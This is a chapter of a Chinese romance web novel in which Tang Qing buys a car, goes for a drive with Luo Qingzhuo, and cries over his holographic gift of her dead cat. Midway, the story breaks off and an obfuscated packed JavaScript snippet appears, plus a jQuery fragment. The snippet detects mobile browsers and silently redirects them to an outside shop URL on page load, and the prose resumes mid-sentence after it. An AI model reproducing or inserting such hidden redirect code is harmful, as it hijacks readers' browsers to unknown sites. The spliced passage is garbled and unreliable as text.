连着两次“奖金泡汤”,棠青觉得这个夜晚可真漫长啊,漫长到她看不见一丝光亮。
吴献得知人家拒绝了,也表示理解,毕竟出资确实是有点少了。
不过棠青自己有想法,他虽然没答应合作,但是说可以单方面找他,那她可就不客气咯。
.
“这只小猫叫2210,我想问问它的腿还痛不痛?”
“这只小狗叫1379,它为什么老是和它弟弟打架啊?”
“这只叫90,可不可以告诉它不要再偷偷抢别人的饭吃了,基地里不缺它一口吃的。”
从那天开始,棠青有时候不忙了就会连线装鱿鱼被烤。
只是奇怪的是,每次她去连线的时候,直接就可以上麦,前面后面都没人排队。不过蛮好的,这样就可以不用等了,只需要送礼物就好。
“这只…”
“棠青,我来接班了,你干吗呢?”
栾如愿的声音从她身后响起,棠青迷茫地抬头,才发现早已天光大亮,东方鱼肚吐白。
怎么早上了,她居然和装鱿鱼被烤连线了一晚上。
“我在和主播连线呢,等一下。”说完,棠青先放下怀里的那只小狗,轻声说道,“不好意思呀我没注意看时间,我就先下麦了。”
装鱿鱼被烤:“嗯,没事。”
看着棠青挂断连线,栾如愿拢拢身上的工作服,从她身边抱起那只毛茸茸的小狗。
“如愿如愿,下午等你下班了就陪我去买车吧。”棠青亲昵地挽住她的手。
“好,那我下班了叫你。”
“OKOK。”
棠青早就已经决定好要买的牌子,她也不考虑买什么二手车了,不安全,还是买全新的有保障一些。
两个人看得很快,试驾、谈价格谈保险、买车、入户。一系列弄完快接近晚上。
棠青说要请栾如愿吃饭,不过栾如愿上一天班撑不住了,拒绝表示下次再约。
提到新车,还是想在路上多转悠几圈,把栾如愿送回家后,棠青打了个电话给骆青酌。
“怎么了?”
“帅哥要不要下楼来坐我的新车去兜兜风呀。”不知道为什么,棠青总觉得这句话有股调戏味。
对面的人轻笑一声:“兜风?”
“是呀,要不要来,我在下面等你哦。”
“嗯。”
郁城冬季并不漫长,一旦过了春节,天气便逐渐回暖,冰雪融化,树枝丫上冒出点点翠绿。
棠青吸吸鼻子,百无聊赖地踢着石子,细小的石子被力道驱动,咕噜咕噜向前滚,撞到鞋头便停了下来。
棠青顺着鞋头往上看。
骆青酌好像变了,又好像没变什么,就是感觉有点怪陌生的。
比如,他的唇角比平时上升了一个像素点。
有点非同寻常。
“你有什么开心的事情啊,说出来一起听听呗。”棠青搞怪地撞撞他肩膀。
“没什么。”骆青酌拉开副驾驶位车门,粗略地朝车内环视几眼。
他对车了解不多,在心里憋了好久都没憋出来该从哪点夸,末了他干脆学棠青平时夸他那样。
“你买的车挺好的,眼光真好。”
棠青皱眉。
明明是夸夸,可是为什么听起来那么怪异。
不像骆青酌会说的话,真奇怪,太奇怪了。
坐在车上,骆青酌偏头看向窗外的车水马龙,各种颜色的灯光交织在一起,在眼底形成大小不一的光点。
他是不是应该说点什么,在这个时候?
“棠青。”骆青酌略显紧张,放在膝盖上的手蜷了蜷,“你想要去哪儿兜风?”
她刚刚,是说要去兜风来着吧?
“随便转转吧,你有想去的地方吗?”
“都可以,随你。”
棠青目视前方,没注意到他异样的情绪。
这些天骆青酌把全部单子都堆在了下午前完成,就为了晚上等她上班连麦。
下班会一起吃饭,在他家,又或者在她家。
已经完完全全渗透了骆青酌的生活。
可是不够,他觉得一点都不够。
骆青酌两只手握在一起,像那天他握住棠青那样。
自己的手和她的完全不一样。
家里全屋家居智能化,很少有需要到他动手的地方。而棠青的不一样,工作性质让她掌心内有一层薄薄的茧子。
是温热的,摸着很有安全感。
骆青酌抬眸,缓慢且无声地看向她现在扶着方向盘上的手。
青紫色血管在白皙的皮肤下清晰可见,骨节明显。
或许是车内的暖气开得很高,骆青酌感觉自己的脸在发烫,呼吸紊乱,脑子有些不清楚了。
他想…
他想,
和棠青在一起。
棠青能感觉到骆青酌那道炽热的目光,时不时用余光瞥过去,发现他一直直勾勾地盯着自己。
心里不由得吓了一跳。
这人干嘛?!
干嘛拿这种目光看着她。
前方恰好是红灯,棠青停稳车,大胆地直视回去。
骆青酌快速地扭开脸看向窗外,当一切都没发生过。
“你一直看着我干嘛骆青酌?”
“没有。”
“是不是因为我长得太漂亮了,所以你眼睛移不开呀。”棠青边说,边满意地朝着他戳自己的脸。
棠青以为骆青酌会继续说“没有”,因为他像是会这样说的人。
结果坐在副驾驶位上的男人,突然回了一句:“嗯。”
棠青动作愣住,发现骆青酌的耳尖早已不知道什么红透了。
一个想法在她心底滋生,只短短一秒,让棠青也浑身燥热起来。
不自在地把暖气关了,旁边的车窗降下来。
“骆青酌。”
“嗯?”
棠青眨眨眼:“你…你该不会,喜…”
哔哔哔——
身后的车见绿灯到了,一秒都不想等地催促他们快点开,喇叭跟不是自己的一样疯狂乱按。
身侧的车也已经开出去了。
棠青暂且把问题抛之脑后,启动车辆。
“刚刚你想问我什么?”
“问你?”棠青被刚刚那阵子喇叭搅得脑子空白一片,像断线了一样怎么都想不起来。
她要问骆青酌什么吗?
“好像没有吧。”
骆青酌也不再追问:“一会回我家,我有礼物想送给你。”
不是过年过节的,怎么突然就要送她礼物?
“好呀。”
在街上转了几圈,棠青掉头往江胜小区开回去。
骆青酌要送她什么呢?
开了门还没开灯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672731|185193||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,椰包和花卷就风风火火地往门口/爆冲,骆青酌眼疾手快地一脚拦截住,反手关上门。
“不可以出门,外面有坏人哦。”棠青蹲下来,两只手上阵去摸小猫小狗。
椰包懒懒地躺下来,翻出肚皮来给她摸,软软热热的,毛发也毛茸茸的。
花卷啪——的一声也躺下,享受地任由棠青挠它下巴。
骆青酌跨过它们,走向屋内:“那你先和它们玩吧,我去拿出来给你。”
“好。”
棠青从花卷的下巴摸到爪子,又摸到肚子,原始袋鼓鼓囊囊的,十分肥美,手感超好。
“喵喵喵~”
嗯?哪里来的猫叫声?
棠青以为是花卷在叫,可是它并没有张口。
“喵!”
猫叫声越来越清晰,好像是从客厅里传来的,棠青站起来绕过它们,循声往里走。
骆青酌又养了一只小猫吗?
男人坐在沙发边,茶几上放着一个大概有十几二十厘米高的盒子,通体透明,具体不知道是什么东西。
棠青在骆青酌身边好奇的坐下。
看着他将手机放置在盒子上方。
下一秒,盒子反射出来的灯光在棠青眼底亮起,她微微一愣。
一只小猫出现在盒子里。白、棕两种颜色交织,身上有大小不一的环形黑色花纹,瞳孔金黄,鼻头红润,尾巴竖的比天线还要高。
白色嘴套边还有一小撮黄色印记。
小猫张口,轻轻叫了声:“喵~”
棠青看向骆青酌,又转回来看向盒子,睫毛一颤泪就先落了下来,双手无意识的紧紧扣在一起。
“你…”
“看看像吗?”骆青酌把盒子推得更加靠近一些。
泪水打湿了她的视线,却也因为这层泪膜让小猫的身影更加清晰起来,清晰到好像青菜此刻就在她身边。
棠青不由自主地伸出手指,想要触碰它。
摸到的不是小猫温热的肌肤,是冰冷的玻璃。
但隔开的也不单单是玻璃,是生与死的距离。
脖子像被无数荆棘缠绕,深深插根在里面,恨不得把她整个喉咙捅穿。
开口,也只能软绵绵发出一声:“嗯…”
闭上眼深呼吸几口,指甲抠进掌纹里,留下几道深浅不一的红痕。
骆青酌注意到,伸手过去笼罩住了她的手。
“没关系,想哭就哭吧,我在你身边呢。”
“骆青酌。”棠青忍不住了,任由水痕在她脸上肆意横行,“我真的好想青菜,真的好想好想。”
“我明明每年都带它去做体检的,为什么,为什么啊!”
“是不是我老是工作,老是加班,把它一个人留在这里,所以它就生气了,才那样惩罚我。”
说到后面,棠青情绪激动起来,有几口差点喘不上气来。
骆青酌去拍她的后背,安慰道:“没有,青菜走的时候很开心,你有陪在它身边的不是吗?”
“我原本送这个礼物给你,是想让你开心的。”
棠青抽泣着,戳了戳玻璃,如同那日她站在观察室外面一样。
里面居然也有一只手伸出来,摸了摸青菜的脑袋。
这下她哭得更大声了。
骆青酌仓促的扯过几张纸巾帮棠青擦眼泪。
“讨厌你骆青酌!讨厌你…呜呜呜。”